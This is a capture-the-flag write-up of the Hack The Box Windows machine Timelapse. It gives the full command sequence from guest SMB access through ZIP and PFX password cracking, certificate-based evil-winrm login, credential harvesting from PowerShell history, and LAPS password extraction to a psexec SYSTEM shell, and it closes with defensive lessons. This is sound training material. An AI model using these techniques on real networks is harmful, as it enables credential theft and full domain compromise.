



RETIRE MACHINE

Timelapse

Machine Writeup · Hack The Box

4.5 ★

RATING

Easy

DIFFICULTY

Windows

OS

13,218

USER OWNS

12,104

SYSTEM OWNS

20

POINTS

MACHINE SYNOPSIS

Timelapse is an Easy Windows Active Directory machine. Guest SMB access reveals the Shares share containing LAPS documentation and a protected ZIP file (winrm_backup.zip). zip2john + john crack the ZIP password (supremelegacy), extracting legacyy_dev_auth.pfx — itself password-protected. pfx2john + john crack the PFX passphrase (thuglegacy). openssl extracts the certificate and private key. evil-winrm with SSL (-S flag) on port 5986 uses the PFX to authenticate as legacyy, granting the user flag. PSReadLine history (ConsoleHost_history.txt) reveals svc_deploy's cleartext credentials (E3R\$Q62^12p7PLIC%KWaxuaV). svc_deploy has WinRM-SSL access (Pwn3d!). BloodHound via SharpHound shows svc_deploy is in LAPS_Readers group, which can read the ms-mcs-AdmPwd attribute on DC01\$. pyLAPS extracts the LAPS Administrator password (58pu3Fsb1798v8f0vcx\$,1+) and psexec delivers NT AUTHORITY\SYSTEM. Root flag is on TRX's Desktop.

CONTENTS

01 Reconnaissance & SMB Guest Discovery

02 Shares Share — winrm_backup.zip Analysis

03 zip2john + john — ZIP Password Crack

04 pfx2john + john — PFX Passphrase Crack

05 evil-winrm SSL (-S) — legacyy + User Flag	06 PSReadLine History — svc_deploy Credentials
07 BloodHound LAPS_Readers → pyLAPS → SYSTEM	08 Lessons Learned



Martí Hervás
Penetration Tester · Hack The Box · 2026

01

Reconnaissance & SMB Guest Discovery

TTL 127 confirms Windows. Nmap reveals a standard AD DC stack with two notable differences: **port 5986 (WinRM over SSL)** instead of the usual 5985, and a certificate on dc01.timelapse.htb. Domain is **timelapse.htb**, hostname **DC01**, Windows Server 2019 Build 17763. Clock-skew is 8 hours — time sync required before any Kerberos operations. Guest SMB authentication succeeds. Share enumeration reveals **Shares** with READ access. No standard WinRM (5985) — only SSL WinRM on 5986 is available.

NMAP — PORT 5986 SSL WinRM + AD STACK

nmap — timelapse.htb DC01, port 5986 SSL WinRM (not 5985)

```
$ ping -c 1 10.129.227.113 # TTL 127 -> Windows

$ nmap -Pn -n --open -p- --min-rate 5000 10.129.227.113 -oG allPorts
[*] Open ports: 53,88,135,139,389,445,464,593,3268,3269,5986,9389,...
```

Key services:

389/tcp	open	ldap	(Domain: timelapse.htb)
445/tcp	open	smb	signing:True SMBv1:None
5986/tcp	open	ssl/wsman	<- WinRM over SSL! (not 5985)

ssl-cert: commonName=dc01.timelapse.htb
 Not valid after: 2022-10-25T14:25:29 <- expired cert
 _clock-skew: mean: 8h00m02s <- sync before Kerberos ops
 Service Info: Host: DC01; OS: Windows Server 2019 Build 17763

SMB GUEST — Shares SHARE ACCESSIBLE

netexec Guest — Shares share readable, no standard WinRM 5985

```
$ nxc smb 10.129.227.113 -u 'guest' -p ''
SMB DC01 [+] timelapse.htb\guest:
```

```
$ nxc smb 10.129.227.113 -u 'guest' -p '' --shares
SMB DC01 ADMIN$ Remote Admin
SMB DC01 C$ Default share
SMB DC01 IPC$ READ Remote IPC
SMB DC01 NETLOGON Logon server share
SMB DC01 Shares READ <- accessible!
SMB DC01 SYSVOL Logon server share
```

/etc/hosts: 10.129.227.113 DC01.timelapse.htb timelapse.htb DC01

NOTE

Port 5986 is WinRM over HTTPS/SSL — it requires a valid certificate on the server side, and evil-winrm must be invoked with the -S (SSL) flag. The expired certificate is not a problem for authentication — evil-winrm ignores certificate validity by default. The clock-skew of 8 hours must be fixed before any Kerberos operations: `sudo ntpdate dc01.timelapse.htb`.

02

Shares Share — winrm_backup.zip Contents

The Shares SMB share contains two directories: **Dev** and **HelpDesk**. Dev contains a single file: **winrm_backup.zip** — a password-protected ZIP. HelpDesk contains LAPS documentation files: LAPS.x64.msi, LAPS_Datasheet.docx, LAPS_OperationsGuide.docx, LAPS_TechnicalSpecification.docx. The presence of LAPS documentation is a strong hint that LAPS is deployed on this domain — a potential privilege escalation path. The winrm_backup.zip is the immediate focus: its name suggests it contains WinRM authentication material.

SMBCLIENT — BROWSE SHARES + DOWNLOAD FILES

Shares share — winrm_backup.zip (Dev) + LAPS docs (HelpDesk)

```
$ smbclient //10.129.227.113/Shares -U 'guest%'
smb: \> ls
      Dev           D   0   Mon Oct 25 21:40:06 2021
      HelpDesk      D   0   Mon Oct 25 17:48:42 2021

smb: \> cd Dev
smb: \Dev\> ls
      winrm_backup.zip  A  2611  Mon Oct 25 21:46:42 2021  <- key file!

smb: \Dev\> get winrm_backup.zip

smb: \> cd \HelpDesk\
smb: \HelpDesk\> ls
      LAPS.x64.msi           A  1118208  Mon Oct 25 17:57:16 2021
      LAPS_Datasheet.docx    A   104422  Mon Oct 25 17:57:11 2021
      LAPS_OperationsGuide.docx A   641378  Mon Oct 25 17:57:12 2021
      LAPS_TechnicalSpecification A    72683  Mon Oct 25 17:57:13 2021

# LAPS documentation = LAPS is deployed -> read LAPS password later!
```

NOTE

Finding LAPS documentation in a readable share is a strong indicator that LAPS is installed and managing local Administrator passwords. LAPS stores randomized local admin passwords in the ms-mcs-AdmPwd attribute of computer objects in AD. Members of the LAPS_Readers group (or accounts with ReadProperty on ms-mcs-AdmPwd) can retrieve these passwords. Keep LAPS in mind for privilege escalation after obtaining domain credentials.

03

zip2john + john — ZIP Password Crack (supremelegacy)

winrm_backup.zip is password-protected. **zip2john** extracts the PKZIP hash from the archive headers. The hash reveals the ZIP contains a single file: **legacyy_dev_auth.pfx** — a PKCS#12 certificate bundle (private key + certificate chain). **John the Ripper** cracks the ZIP password in under a second from rockyou.txt: **supremelegacy**. After extraction, legacyy_dev_auth.pfx is itself password-protected, requiring a second cracking step.

ZIP2JOHN + JOHN — CRACK ZIP PASSWORD

zip2john + john — ZIP password supremelegacy cracked instantly

```
$ zip2john winrm_backup.zip > winrm_backup_hash
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx
PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683

$ john -w:/usr/share/wordlists/rockyou.txt winrm_backup_hash
Loaded 1 password hash (PKZIP [32/64])
Will run 5 OpenMP threads

supremelegacy      (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE -- 1.754g/s 6090Kp/s

# ZIP password: supremelegacy

$ unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: supremelegacy
  inflating: legacyy_dev_auth.pfx
```

04

pfx2john + john — PFX Passphrase Crack (thuglegacy)

The extracted **legacyy_dev_auth.pfx** is a PKCS#12 file containing the SSL certificate for user **legacyy@timelapse.htb** and its encrypted private key — ideal for WinRM certificate authentication. The file is protected by a separate passphrase.

pfx2john extracts the hash (PKCS#12 PBE SHA1/SHA256, 2000 iterations). John takes 62 seconds to crack it: **thuglegacy**. openssl extracts the certificate (.cert) and private key (.pem) from the PFX for use with evil-winrm.

PFX2JOHN + JOHN — CRACK PFX PASSPHRASE

pfx2john + john — PFX passphrase thuglegacy cracked in 62s

```
# PFX is also password-protected:
$ openssl pkcs12 -in legacy_dev_auth.pfx -info
Enter Import Password: [wrong]
Mac verify error: invalid password? <- needs cracking!

$ pfx2john legacy_dev_auth.pfx > legacy_dev_auth_hash

$ john -w:/usr/share/wordlists/rockyou.txt legacy_dev_auth_hash
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes

thuglegacy      (legacy_dev_auth.pfx)
1g 0:00:01:02 DONE -- 0.01604g/s 51853p/s

# PFX passphrase: thuglegacy
# Certificate subject: CN=Legacyy (legacyy@timelapse.htb)
```

OPENSSL — EXTRACT CERTIFICATE AND PRIVATE KEY

openssl pkcs12 — certificate + private key extracted from PFX

```
# Extract certificate:
$ openssl pkcs12 -in legacy_dev_auth.pfx -nokeys -out key.cert
Enter Import Password: thuglegacy

# Extract encrypted private key:
$ openssl pkcs12 -in legacy_dev_auth.pfx -nocerts -out key.pem
Enter Import Password: thuglegacy
Enter PEM pass phrase: [choose any passphrase for the .pem]
Verifying - Enter PEM pass phrase: [same passphrase]

# Now have: key.cert (certificate) + key.pem (encrypted private key)
# Ready for evil-winrm SSL authentication as legacyy
```

NOTE

PKCS#12 (.pfx) files bundle a private key and certificate chain in a single encrypted container. They are commonly used for WinRM certificate-based authentication. pfx2john handles PKCS#12 PBE (SHA1/SHA256) hashes. The 2000-iteration count provides some resistance but common passwords in rockyou.txt are still quickly found. Always verify the certificate's Subject and SAN fields to identify the associated domain account.

05

evil-winrm SSL (-S) — legacyy Shell & User Flag

Since port 5986 is WinRM over SSL, evil-winrm requires the **-S flag** (SSL mode) plus the **-c** (certificate) and **-k** (private key) flags instead of username/password. The session prompts for the PEM passphrase chosen during extraction. The shell lands as **timelapselegacyy** and the user flag is on the Desktop.

EVIL-WINRM -S — CERTIFICATE AUTH ON PORT 5986

evil-winrm SSL — legacyy certificate auth, user flag obtained

```
# SSL WinRM requires -S flag + certificate + key:
$ evil-winrm -S -i 10.129.227.113 -c key.cert -k key.pem
Warning: SSL enabled
Info: Establishing connection to remote endpoint
Enter PEM pass phrase: [PEM passphrase chosen during extraction]

*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy

*Evil-WinRM* PS C:\Users\legacyy\Desktop> type user.txt
d89d9c0b254560291f54d4bc*****
```

NOTE

WinRM on port 5986 uses HTTPS/TLS. evil-winrm's -S flag enables SSL mode and disables certificate validation by default (equivalent to curl -k). Certificate-based WinRM authentication (-c cert -k key) is useful when a .pfx is available but no plaintext password is known. The PEM passphrase prompt requires the passphrase set during openssl extraction, NOT the original PFX passphrase.

06

PSReadLine History — svc_deploy Credentials

Privilege escalation begins with post-exploitation enumeration of legacyy's profile. PowerShell's **PSReadLine** module logs all commands to ConsoleHost_history.txt in the PSReadLine AppData directory. This file contains the full command history of the user's PowerShell sessions — including commands that were entered with sensitive data. The history reveals that legacyy previously created a PSCredential object with **svc_deploy:E3R\$Q62^12p7PLIC%KWaxuaV** and used it to run invoke-command as that user.

PSREADLINE HISTORY — CREDENTIAL DISCOVERY

ConsoleHost_history.txt — svc_deploy:E3R\$Q62^12p7PLlC%KWaxuaV

```
# Navigate to PSReadLine history location:
*Evil-WinRM* PS > cd C:\Users\legacy\AppData\Roaming\Microsoft\
    Windows\PowerShell\PSReadLine\

*Evil-WinRM* PS > type ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl ...
get-aduser -filter * -properties *
exit

# Credentials found: svc_deploy : E3R$Q62^12p7PLlC%KWaxuaV
```

VALIDATE svc_deploy — WINRM-SSL Pwn3d!

svc_deploy WinRM-SSL Pwn3d! — new session established

```
$ nxc smb 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'
SMB DC01 [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV

$ nxc winrm 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'
WINRM-SSL DC01 [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV (Pwn3d!)

$ evil-winrm -S -i 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
timelapse\svc_deploy
```

NOTE

PSReadLine writes every PowerShell command to ConsoleHost_history.txt by default on Windows 10/Server 2016+. This file persists across sessions and is readable by the account that created it. Always check this location during post-exploitation: C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt. Administrators should disable PSReadLine history logging for privileged sessions or sanitize commands containing sensitive strings.

07

BloodHound LAPS_Readers → pyLAPS → NT AUTHORITY\SYSTEM

SharpHound is uploaded to the `svc_deploy` session and run, generating a BloodHound ZIP. Analysis confirms: **svc_deploy is a member of LAPS_Readers**, a group with **ReadProperty on ms-mcs-AdmPwd** for DC01\$. This means `svc_deploy` can read the LAPS-managed local Administrator password on the Domain Controller. **pyLAPS** retrieves the LAPS password: **58pu3Fsb1798v8f0vcx\$(1+**. `impacket-psexec` authenticates as Administrator with this password, delivering **NT AUTHORITY\SYSTEM**. The root flag is on **TRX's Desktop** — not Administrator's.

SHARPHOUND — UPLOAD + RUN + DOWNLOAD

SharpHound — AD data collected, 113 objects, ZIP downloaded

```
# Upload SharpHound:
*Evil-WinRM* PS > upload SharpHound.exe
Info: Upload successful!

# Run collection:
*Evil-WinRM* PS > ./SharpHound.exe
[*] This version of SharpHound is compatible with BloodHound 4.3.1
[*] Status: 113 objects finished -- Using 43 MB RAM
[*] Enumeration finished in 00:00:42
[*] Output: 20260602154616_BloodHound.zip

# Download ZIP for BloodHound analysis:
*Evil-WinRM* PS > download 20260602154616_BloodHound.zip
Info: Download successful!
```

BLOODHOUND — LAPS_READERS → ms-mcs-AdmPwd ON DC01\$

BloodHound — svc_deploy -> LAPS_Readers -> ReadLAPSPassword DC01\$

```
# BloodHound analysis of svc_deploy:

svc_deploy --[MemberOf]--> LAPS_READERS@timelapse.htb
                --[ReadLAPSPassword]--> DC01.timelapse.htb
                |
                ms-mcs-AdmPwd = LAPS Admin password

# LAPS_Readers has ReadProperty on ms-mcs-AdmPwd of DC01$
# -> svc_deploy can retrieve the local Administrator password on DC01
```

PYLAPS — READ LAPS PASSWORD + PSEXEC SYSTEM SHELL

pyLAPS + psexec — LAPS password → SYSTEM, root flag on TRX Desktop

```

# Read LAPS password with svc_deploy credentials:
$ python3 pyLAPS.py --action get -u svc_deploy -d timelapse.htb \
  -p 'E3R$Q62^12p7PLlC%KwaxuaV' --dc-ip 10.129.227.113

[+] Extracting LAPS passwords of all computers ...
| DC01$ : 58pu3Fsb1798v8f0vcx$, (1+
[+] All done!

# LAPS Administrator password: 58pu3Fsb1798v8f0vcx$, (1+

# psexec as local Administrator:
$ python3 psexec.py 'timelapse.htb/administrator:58pu3Fsb1798v8f0vcx$, (1+'@10.129.227.113
[*] Found writable share ADMIN$
[*] Creating service ltmz on 10.129.227.113....
C:\Windows\system32> whoami
nt authority\system

# Root flag is on TRX's Desktop (not Administrator):
C:\Users\TRX\Desktop> type root.txt
abc003f492bcc7f34b6f2320*****

```

NOTE

LAPS (Local Administrator Password Solution) stores randomized local admin passwords per machine in the ms-mcs-AdmPwd AD attribute. pyLAPS reads this attribute directly via LDAP using credentials with ReadProperty on that field. The root flag being on TRX's Desktop (not Administrator's) is an intentional Timelapse twist — always check all user profiles when looking for flags. The TRX account appears to be an active Administrator-level session.

08**Lessons Learned****01****Guest SMB Access Exposes Sensitive Authentication Material**

The Shares share was readable without credentials and contained a backup ZIP with a WinRM certificate (PFX file). Even encrypted, offline-crackable archives in network-accessible shares are a critical risk. Disable Guest SMB access on domain controllers, apply least-privilege ACLs to all shares, and never store authentication material in readable directories.

02**Double-Encrypted Archives Provide Only Marginal Security**

winrm_backup.zip used two layers of protection (ZIP password + PFX passphrase), but both passwords (supremelegacy, thuglegacy) were in rockyou.txt and cracked in under 2 minutes combined. Encryption strength is only as good as the password entropy. Use randomly generated 20+ character passwords for any archive containing sensitive authentication material.

03

PFX Files Enable Certificate-Based Authentication Without a Password

A PKCS#12 (.pfx) file with a cracked passphrase provides full WinRM certificate authentication. Certificate-based auth bypasses password spray detections and lockout policies. PKI certificate backups should be stored in HSMs or PAM solutions, never in file shares, and should have short validity periods with automatic revocation on compromise.

04

PSReadLine History Persists Cleartext Credentials Across Sessions

legacyy's ConsoleHost_history.txt contained a ConvertTo-SecureString command with svc_deploy's plaintext password — readable by anyone with access to the user's profile. Disable PSReadLine logging in secure contexts via: Set-PSReadlineOption -HistorySaveStyle SaveNothing, and never enter credentials directly as command arguments in PowerShell sessions.

05

LAPS Passwords Are Only as Safe as LAPS_Readers Group Membership

LAPS correctly randomizes local admin passwords, but svc_deploy's membership in LAPS_Readers granted read access to the DC01\$ password. Audit LAPS_Readers membership regularly — only break-glass accounts and PAM systems should have ReadLAPSPassword rights. Use BloodHound to identify all accounts with ReadProperty on ms-mcs-AdmPwd.

Writeup authored by Marti Hervas · Hack The Box · Timelapse Machine · 2026